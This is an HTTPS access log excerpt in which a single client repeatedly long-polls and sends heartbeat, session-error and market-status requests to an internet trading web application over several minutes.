[09/Jan/2026:08:19:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918255316 HTTP/1.1" -
[09/Jan/2026:08:19:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918261314 HTTP/1.1" -
[09/Jan/2026:08:19:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918267308 HTTP/1.1" -
[09/Jan/2026:08:20:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918273311 HTTP/1.1" -
[09/Jan/2026:08:20:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918279317 HTTP/1.1" -
[09/Jan/2026:08:20:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:20:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:20:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:20:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:20:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918285313 HTTP/1.1" -
[09/Jan/2026:08:20:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918291309 HTTP/1.1" -
[09/Jan/2026:08:20:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918297312 HTTP/1.1" -
[09/Jan/2026:08:20:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918303303 HTTP/1.1" -
[09/Jan/2026:08:20:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918309312 HTTP/1.1" -
[09/Jan/2026:08:20:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918315311 HTTP/1.1" -
[09/Jan/2026:08:20:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918321308 HTTP/1.1" -
[09/Jan/2026:08:20:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918327313 HTTP/1.1" -
[09/Jan/2026:08:21:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918333307 HTTP/1.1" -
[09/Jan/2026:08:21:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918339309 HTTP/1.1" -
[09/Jan/2026:08:21:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:21:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:21:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:21:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:21:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918345305 HTTP/1.1" -
[09/Jan/2026:08:21:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918351315 HTTP/1.1" -
[09/Jan/2026:08:21:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918357305 HTTP/1.1" -
[09/Jan/2026:08:21:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918363313 HTTP/1.1" -
[09/Jan/2026:08:21:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918369306 HTTP/1.1" -
[09/Jan/2026:08:21:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918375303 HTTP/1.1" -
[09/Jan/2026:08:21:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918381311 HTTP/1.1" -
[09/Jan/2026:08:21:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918387311 HTTP/1.1" -
[09/Jan/2026:08:22:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918393308 HTTP/1.1" -
[09/Jan/2026:08:22:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918399314 HTTP/1.1" -
[09/Jan/2026:08:22:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:22:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:22:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:22:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:22:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918405307 HTTP/1.1" -
[09/Jan/2026:08:22:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918411304 HTTP/1.1" -
[09/Jan/2026:08:22:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918417312 HTTP/1.1" -
[09/Jan/2026:08:22:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918423309 HTTP/1.1" -
[09/Jan/2026:08:22:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918429305 HTTP/1.1" -
[09/Jan/2026:08:22:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918435304 HTTP/1.1" -
[09/Jan/2026:08:22:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918441316 HTTP/1.1" -
[09/Jan/2026:08:22:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918447304 HTTP/1.1" -
[09/Jan/2026:08:23:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918453306 HTTP/1.1" -
[09/Jan/2026:08:23:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918459308 HTTP/1.1" -
[09/Jan/2026:08:23:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:23:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:23:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:23:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:23:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918465308 HTTP/1.1" -
[09/Jan/2026:08:23:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918471312 HTTP/1.1" -
[09/Jan/2026:08:23:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918477309 HTTP/1.1" -
[09/Jan/2026:08:23:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918483305 HTTP/1.1" -
[09/Jan/2026:08:23:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918489304 HTTP/1.1" -
[09/Jan/2026:08:23:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918495306 HTTP/1.1" -
[09/Jan/2026:08:23:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918501316 HTTP/1.1" -
[09/Jan/2026:08:23:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918507317 HTTP/1.1" -
[09/Jan/2026:08:24:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918513316 HTTP/1.1" -
[09/Jan/2026:08:24:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918519311 HTTP/1.1" -
[09/Jan/2026:08:24:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:24:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:24:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:24:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:24:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918525316 HTTP/1.1" -
[09/Jan/2026:08:24:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918531306 HTTP/1.1" -
[09/Jan/2026:08:24:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918537317 HTTP/1.1" -
[09/Jan/2026:08:24:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918543303 HTTP/1.1" -
[09/Jan/2026:08:24:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918549307 HTTP/1.1" -
[09/Jan/2026:08:24:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918555303 HTTP/1.1" -
[09/Jan/2026:08:24:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918561303 HTTP/1.1" -
[09/Jan/2026:08:24:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918567316 HTTP/1.1" -
[09/Jan/2026:08:25:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918573304 HTTP/1.1" -
[09/Jan/2026:08:25:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918579309 HTTP/1.1" -
[09/Jan/2026:08:25:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:25:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:25:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:25:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:25:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918585312 HTTP/1.1" -
[09/Jan/2026:08:25:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918591317 HTTP/1.1" -
[09/Jan/2026:08:25:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918597316 HTTP/1.1" -
[09/Jan/2026:08:25:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918603305 HTTP/1.1" -
[09/Jan/2026:08:25:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918609309 HTTP/1.1" -
[09/Jan/2026:08:25:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918615301 HTTP/1.1" -
[09/Jan/2026:08:25:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918621307 HTTP/1.1" -
